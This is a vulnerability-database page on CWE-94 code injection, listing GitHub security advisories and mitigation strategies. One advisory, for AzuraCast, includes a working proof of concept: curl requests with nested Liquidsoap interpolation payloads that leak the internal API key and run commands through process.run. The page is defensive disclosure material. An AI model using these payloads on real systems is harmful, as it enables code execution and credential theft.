CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8331 vulnerabilities reference this CWE, most recent first.
GHSA-Q423-WX9H-Q4V8
Vulnerability from github – Published: 2024-03-07 09:30 – Updated: 2024-08-02 21:31Student Enrollment In PHP v1.0 was discovered to contain a SQL injection vulnerability via the Login function.
{
"affected": [],
"aliases": [
"CVE-2023-41503"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-07T09:15:38Z",
"severity": "CRITICAL"
},
"details": "Student Enrollment In PHP v1.0 was discovered to contain a SQL injection vulnerability via the Login function.",
"id": "GHSA-q423-wx9h-q4v8",
"modified": "2024-08-02T21:31:33Z",
"published": "2024-03-07T09:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41503"
},
{
"type": "WEB",
"url": "https://github.com/ASR511-OO7/CVE-2023-41503/blob/main/CVE-26"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q438-4F7X-VCX4
Vulnerability from github – Published: 2025-04-21 21:30 – Updated: 2025-04-21 21:30A vulnerability, which was classified as problematic, was found in wix-incubator jam up to e87a6fd85cf8fb5ff37b62b2d68f917219d07ae9. This affects an unknown part of the file jam.py of the component Jinja2 Template Handler. The manipulation of the argument config['template'] leads to improper neutralization of special elements used in a template engine. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available.
{
"affected": [],
"aliases": [
"CVE-2025-3841"
],
"database_specific": {
"cwe_ids": [
"CWE-791",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-21T20:15:19Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, was found in wix-incubator jam up to e87a6fd85cf8fb5ff37b62b2d68f917219d07ae9. This affects an unknown part of the file jam.py of the component Jinja2 Template Handler. The manipulation of the argument config[\u0027template\u0027] leads to improper neutralization of special elements used in a template engine. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available.",
"id": "GHSA-q438-4f7x-vcx4",
"modified": "2025-04-21T21:30:30Z",
"published": "2025-04-21T21:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3841"
},
{
"type": "WEB",
"url": "https://github.com/wix-incubator/jam/issues/1"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.305769"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.305769"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.555905"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q44V-6RHM-3XMW
Vulnerability from github – Published: 2022-05-02 06:21 – Updated: 2022-05-02 06:21Multiple PHP remote file inclusion vulnerabilities in definitions.php in Lussumo Vanilla 1.1.10, and possibly 0.9.2 and other versions, allow remote attackers to execute arbitrary PHP code via a URL in the (1) include and (2) Configuration['LANGUAGE'] parameters.
{
"affected": [],
"aliases": [
"CVE-2010-1337"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-09T18:30:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in definitions.php in Lussumo Vanilla 1.1.10, and possibly 0.9.2 and other versions, allow remote attackers to execute arbitrary PHP code via a URL in the (1) include and (2) Configuration[\u0027LANGUAGE\u0027] parameters.",
"id": "GHSA-q44v-6rhm-3xmw",
"modified": "2022-05-02T06:21:40Z",
"published": "2022-05-02T06:21:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1337"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/57147"
},
{
"type": "WEB",
"url": "http://www.packetstormsecurity.com/1003-exploits/vanilla-rfi.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/38889"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q495-WF8M-QXCF
Vulnerability from github – Published: 2024-12-23 03:30 – Updated: 2024-12-23 03:30A vulnerability classified as critical has been found in FoxCMS up to 1.2. Affected is an unknown function of the file /install/installdb.php of the component Configuration File Handler. The manipulation of the argument database password leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2024-12900"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-23T02:15:05Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical has been found in FoxCMS up to 1.2. Affected is an unknown function of the file /install/installdb.php of the component Configuration File Handler. The manipulation of the argument database password leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-q495-wf8m-qxcf",
"modified": "2024-12-23T03:30:47Z",
"published": "2024-12-23T03:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12900"
},
{
"type": "WEB",
"url": "https://note.zhaoj.in/share/iDCwOv9vfDTI"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.289170"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.289170"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.467658"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q49P-733H-3XJ6
Vulnerability from github – Published: 2022-05-01 07:12 – Updated: 2022-05-01 07:12PHP remote file inclusion vulnerability in sitemap.xml.php in Sitemap component (com_sitemap) 2.0.0 for Mambo 4.5.1 CMS, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
{
"affected": [],
"aliases": [
"CVE-2006-3749"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-07-21T14:03:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in sitemap.xml.php in Sitemap component (com_sitemap) 2.0.0 for Mambo 4.5.1 CMS, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.",
"id": "GHSA-q49p-733h-3xj6",
"modified": "2022-05-01T07:12:05Z",
"published": "2022-05-01T07:12:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-3749"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27723"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/2028"
},
{
"type": "WEB",
"url": "http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2006-07/0180.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/21055"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/1249"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/18991"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/24592"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/2803"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q4FP-7H4M-Q27R
Vulnerability from github – Published: 2022-05-01 23:36 – Updated: 2022-05-01 23:36Unspecified vulnerability in Microsoft Word in Office 2000 and XP SP3, 2003 SP2 and SP3, and 2007 Office System SP1 and earlier allows remote attackers to execute arbitrary code via a Rich Text Format (.rtf) file with a malformed string that triggers a "memory calculation error" and a heap-based buffer overflow, aka "Object Parsing Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2008-1091"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-05-13T22:20:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in Microsoft Word in Office 2000 and XP SP3, 2003 SP2 and SP3, and 2007 Office System SP1 and earlier allows remote attackers to execute arbitrary code via a Rich Text Format (.rtf) file with a malformed string that triggers a \"memory calculation error\" and a heap-based buffer overflow, aka \"Object Parsing Vulnerability.\"",
"id": "GHSA-q4fp-7h4m-q27r",
"modified": "2022-05-01T23:36:31Z",
"published": "2022-05-01T23:36:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1091"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-026"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5494"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=121129490723574\u0026w=2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30143"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/543907"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/492020/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29104"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1020013"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA08-134A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1504/references"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-08-023"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q4M3-6WW5-PQP6
Vulnerability from github – Published: 2022-05-01 18:45 – Updated: 2022-05-01 18:45PHP remote file inclusion vulnerability in source/includes/load_forum.php in Mihalism Multi Forum Host 3.0.x and earlier allows remote attackers to execute arbitrary PHP code via a URL in the mfh_root_path parameter.
{
"affected": [],
"aliases": [
"CVE-2007-6657"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-01-04T11:46:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in source/includes/load_forum.php in Mihalism Multi Forum Host 3.0.x and earlier allows remote attackers to execute arbitrary PHP code via a URL in the mfh_root_path parameter.",
"id": "GHSA-q4m3-6ww5-pqp6",
"modified": "2022-05-01T18:45:05Z",
"published": "2022-05-01T18:45:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6657"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39316"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4808"
},
{
"type": "WEB",
"url": "http://osvdb.org/39895"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q4PH-8X8G-95F8
Vulnerability from github – Published: 2026-05-04 21:19 – Updated: 2026-05-04 21:19Summary
The cleanUpString() method in ConfigWriter.php uses an ungreedy regex to strip Liquidsoap string interpolation patterns (#{...}) from user input. This regex can be bypassed via nested interpolation syntax (#{#{EXPR}}), allowing injection of arbitrary Liquidsoap code. Commit ff49ef4 migrated most user-controlled fields to the safe toRawString() method but left the remote relay password field using the vulnerable cleanUpString(). A user with the RemoteRelays station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.
Details
The Vulnerable Sanitizer
cleanUpString() at backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367:
public static function cleanUpString(?string $string): string
{
$string = str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
// Remove strings that are interpolated
$string = preg_replace(
'/#{(.*)}/U', // Ungreedy: matches minimum chars to first }
'$1',
$string
);
$string = preg_replace(
'/\$\((.*)\)/U',
'$1',
$string ?? ''
);
return $string ?? '';
}
The /U (ungreedy) flag causes .* to match the minimum characters until the first }. With nested input #{#{EXPR}}:
- Regex finds
#{at position 0 - Ungreedy
.*matches#{EXPR(stops at the first}) - Full match consumed:
#{#{EXPR}— replacement with capture group$1yields:#{EXPR - The trailing
}is appended by the regex engine (it was outside the match) - Final result:
#{EXPR}— a valid Liquidsoap string interpolation expression
The Incomplete Patch
Commit ff49ef4 ("Use raw strings for user-input strings to avoid interpolation", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to toRawString(). However, the password field was left using cleanUpString():
ConfigWriter.php:1208-1215:
$password = self::cleanUpString($source->password); // Still vulnerable
$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
$password .= ':#' . $id;
}
$outputParams[] = 'password = "' . $password . '"'; // Double-quoted = interpolated
The password is embedded in a Liquidsoap double-quoted string, which evaluates #{...} interpolation expressions.
Why toRawString() Is Safe
toRawString() uses Liquidsoap raw string delimiters ({str_xxxxx|...|str_xxxxx}) which do not perform interpolation, making them immune to this attack class.
The Input Path
- Attacker sends
PUT /api/station/{station_id}/remote/{id}withsource_passwordcontaining the nested payload - Entity setter truncates to 100 chars via
mb_substr(payloads fit within this limit) - No validation on password content
- On station config regeneration,
ConfigWriter::getOutputString()callscleanUpString()on the password - Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string
- Liquidsoap evaluates the interpolation when loading the config
PoC
Step 1: API Key Disclosure (38 chars)
# Set malicious password on an existing remote relay
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
-H "X-API-Key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"source_password": "#{#{settings.azuracast.api_key()}}"}'
After cleanUpString() processing, the password becomes #{settings.azuracast.api_key()}.
When Liquidsoap loads the config, the generated line:
password = "#{settings.azuracast.api_key()}"
evaluates to the internal API key value, which is then sent as the password to the remote relay server — observable by the attacker if they control the relay endpoint.
Step 2: Remote Code Execution (54 chars)
# RCE payload using string.char() to bypass quote filtering
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
-H "X-API-Key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"source_password": "#{#{process.run(string.char(105)^string.char(100))}}"}'
After processing: #{process.run(string.char(105)^string.char(100))} → executes id command.
string.char() and the ^ concatenation operator are used to build the command string without double quotes (which cleanUpString replaces with single quotes, and Liquidsoap doesn't support single-quoted strings).
Step 3: Trigger config regeneration
Restart the station or modify any station setting to force Liquidsoap config regeneration. The payload executes when Liquidsoap loads the new config.
The same bypass works with $($(EXPR)) via the second regex /\$\((.*)\)/U.
Impact
- Arbitrary code execution within the Liquidsoap process container via
process.run() - Internal API key disclosure via
settings.azuracast.api_key(), granting the attacker full internal API access to the station - File read/write within the Liquidsoap container via Liquidsoap's file operations
- Station disruption — malicious config can crash the Liquidsoap process
- Low privilege bar — requires only the
RemoteRelaysstation permission, not global admin
Recommended Fix
Replace cleanUpString() with toRawString() for the password field, consistent with the fix applied to all other fields in commit ff49ef4. The Shoutcast suffix append needs adjustment to work with raw strings:
// Before (vulnerable):
$password = self::cleanUpString($source->password);
$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
$password .= ':#' . $id;
}
$outputParams[] = 'password = "' . $password . '"';
// After (safe):
$password = $source->password ?? '';
$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
$password .= ':#' . $id;
}
$outputParams[] = 'password = ' . self::toRawString($password);
This uses the raw string delimiter which prevents all interpolation, matching the approach already used for host, username, mount, and all other user-controlled fields.
Additionally, consider removing cleanUpString() entirely or marking it as deprecated, since toRawString() is the correct approach for all Liquidsoap string values. Any remaining callers should be migrated.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.5"
},
"package": {
"ecosystem": "Packagist",
"name": "azuracast/azuracast"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T21:19:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `cleanUpString()` method in `ConfigWriter.php` uses an ungreedy regex to strip Liquidsoap string interpolation patterns (`#{...}`) from user input. This regex can be bypassed via nested interpolation syntax (`#{#{EXPR}}`), allowing injection of arbitrary Liquidsoap code. Commit `ff49ef4` migrated most user-controlled fields to the safe `toRawString()` method but left the remote relay password field using the vulnerable `cleanUpString()`. A user with the `RemoteRelays` station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.\n\n## Details\n\n### The Vulnerable Sanitizer\n\n`cleanUpString()` at `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n $string = str_replace([\u0027\"\u0027, \"\\n\", \"\\r\"], [\u0027\\\u0027\u0027, \u0027\u0027, \u0027\u0027], $string ?? \u0027\u0027);\n\n // Remove strings that are interpolated\n $string = preg_replace(\n \u0027/#{(.*)}/U\u0027, // Ungreedy: matches minimum chars to first }\n \u0027$1\u0027,\n $string\n );\n\n $string = preg_replace(\n \u0027/\\$\\((.*)\\)/U\u0027,\n \u0027$1\u0027,\n $string ?? \u0027\u0027\n );\n\n return $string ?? \u0027\u0027;\n}\n```\n\nThe `/U` (ungreedy) flag causes `.*` to match the **minimum** characters until the first `}`. With nested input `#{#{EXPR}}`:\n\n1. Regex finds `#{` at position 0\n2. Ungreedy `.*` matches `#{EXPR` (stops at the **first** `}`)\n3. Full match consumed: `#{#{EXPR}` \u2014 replacement with capture group `$1` yields: `#{EXPR`\n4. The trailing `}` is appended by the regex engine (it was outside the match)\n5. **Final result: `#{EXPR}`** \u2014 a valid Liquidsoap string interpolation expression\n\n### The Incomplete Patch\n\nCommit `ff49ef4` (\"Use raw strings for user-input strings to avoid interpolation\", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to `toRawString()`. However, the password field was left using `cleanUpString()`:\n\n`ConfigWriter.php:1208-1215`:\n```php\n$password = self::cleanUpString($source-\u003epassword); // Still vulnerable\n\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n $password .= \u0027:#\u0027 . $id;\n}\n\n$outputParams[] = \u0027password = \"\u0027 . $password . \u0027\"\u0027; // Double-quoted = interpolated\n```\n\nThe password is embedded in a Liquidsoap **double-quoted string**, which evaluates `#{...}` interpolation expressions.\n\n### Why toRawString() Is Safe\n\n`toRawString()` uses Liquidsoap raw string delimiters (`{str_xxxxx|...|str_xxxxx}`) which **do not perform interpolation**, making them immune to this attack class.\n\n### The Input Path\n\n1. Attacker sends `PUT /api/station/{station_id}/remote/{id}` with `source_password` containing the nested payload\n2. Entity setter truncates to 100 chars via `mb_substr` (payloads fit within this limit)\n3. No validation on password content\n4. On station config regeneration, `ConfigWriter::getOutputString()` calls `cleanUpString()` on the password\n5. Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string\n6. Liquidsoap evaluates the interpolation when loading the config\n\n## PoC\n\n### Step 1: API Key Disclosure (38 chars)\n\n```bash\n# Set malicious password on an existing remote relay\ncurl -X PUT \"http://azuracast.local/api/station/1/remote/1\" \\\n -H \"X-API-Key: $API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"source_password\": \"#{#{settings.azuracast.api_key()}}\"}\u0027\n```\n\nAfter `cleanUpString()` processing, the password becomes `#{settings.azuracast.api_key()}`.\n\nWhen Liquidsoap loads the config, the generated line:\n```\npassword = \"#{settings.azuracast.api_key()}\"\n```\nevaluates to the internal API key value, which is then sent as the password to the remote relay server \u2014 observable by the attacker if they control the relay endpoint.\n\n### Step 2: Remote Code Execution (54 chars)\n\n```bash\n# RCE payload using string.char() to bypass quote filtering\ncurl -X PUT \"http://azuracast.local/api/station/1/remote/1\" \\\n -H \"X-API-Key: $API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"source_password\": \"#{#{process.run(string.char(105)^string.char(100))}}\"}\u0027\n```\n\nAfter processing: `#{process.run(string.char(105)^string.char(100))}` \u2192 executes `id` command.\n\n`string.char()` and the `^` concatenation operator are used to build the command string without double quotes (which `cleanUpString` replaces with single quotes, and Liquidsoap doesn\u0027t support single-quoted strings).\n\n### Step 3: Trigger config regeneration\n\nRestart the station or modify any station setting to force Liquidsoap config regeneration. The payload executes when Liquidsoap loads the new config.\n\nThe same bypass works with `$($(EXPR))` via the second regex `/\\$\\((.*)\\)/U`.\n\n## Impact\n\n- **Arbitrary code execution** within the Liquidsoap process container via `process.run()`\n- **Internal API key disclosure** via `settings.azuracast.api_key()`, granting the attacker full internal API access to the station\n- **File read/write** within the Liquidsoap container via Liquidsoap\u0027s file operations\n- **Station disruption** \u2014 malicious config can crash the Liquidsoap process\n- **Low privilege bar** \u2014 requires only the `RemoteRelays` station permission, not global admin\n\n## Recommended Fix\n\nReplace `cleanUpString()` with `toRawString()` for the password field, consistent with the fix applied to all other fields in commit `ff49ef4`. The Shoutcast suffix append needs adjustment to work with raw strings:\n\n```php\n// Before (vulnerable):\n$password = self::cleanUpString($source-\u003epassword);\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n $password .= \u0027:#\u0027 . $id;\n}\n$outputParams[] = \u0027password = \"\u0027 . $password . \u0027\"\u0027;\n\n// After (safe):\n$password = $source-\u003epassword ?? \u0027\u0027;\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n $password .= \u0027:#\u0027 . $id;\n}\n$outputParams[] = \u0027password = \u0027 . self::toRawString($password);\n```\n\nThis uses the raw string delimiter which prevents all interpolation, matching the approach already used for host, username, mount, and all other user-controlled fields.\n\nAdditionally, consider removing `cleanUpString()` entirely or marking it as deprecated, since `toRawString()` is the correct approach for all Liquidsoap string values. Any remaining callers should be migrated.",
"id": "GHSA-q4ph-8x8g-95f8",
"modified": "2026-05-04T21:19:55Z",
"published": "2026-05-04T21:19:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-q4ph-8x8g-95f8"
},
{
"type": "WEB",
"url": "https://github.com/AzuraCast/AzuraCast/commit/d6b8422fc2c36269df9d1adec89dfbba58828915"
},
{
"type": "PACKAGE",
"url": "https://github.com/AzuraCast/AzuraCast"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field"
}
GHSA-Q4QJ-C7GQ-HQ5W
Vulnerability from github – Published: 2022-05-14 02:31 – Updated: 2022-05-14 02:31Microsoft Internet Explorer 8 through 11 allows remote attackers to execute arbitrary web script with increased privileges via unspecified vectors, aka "Internet Explorer Elevation of Privilege Vulnerability," a different vulnerability than CVE-2014-1778.
{
"affected": [],
"aliases": [
"CVE-2014-2777"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-06-11T04:56:00Z",
"severity": "HIGH"
},
"details": "Microsoft Internet Explorer 8 through 11 allows remote attackers to execute arbitrary web script with increased privileges via unspecified vectors, aka \"Internet Explorer Elevation of Privilege Vulnerability,\" a different vulnerability than CVE-2014-1778.",
"id": "GHSA-q4qj-c7gq-hq5w",
"modified": "2022-05-14T02:31:52Z",
"published": "2022-05-14T02:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2777"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-035"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/532799/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/67892"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1030370"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q4XX-MC3Q-23X8
Vulnerability from github – Published: 2025-08-14 12:30 – Updated: 2025-10-03 21:50Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-hmgh-466j-fx4c. This link is maintained to preserve external references.
Original Description
User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-14T16:42:36Z",
"nvd_published_at": "2025-08-14T10:15:26Z",
"severity": "CRITICAL"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hmgh-466j-fx4c. This link is maintained to preserve external references.\n\n### Original Description\nUser-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.",
"id": "GHSA-q4xx-mc3q-23x8",
"modified": "2025-10-03T21:50:37Z",
"published": "2025-08-14T12:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55346"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Flowise vulnerable to RCE via Dynamic function constructor injection",
"withdrawn": "2025-10-03T21:50:37Z"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
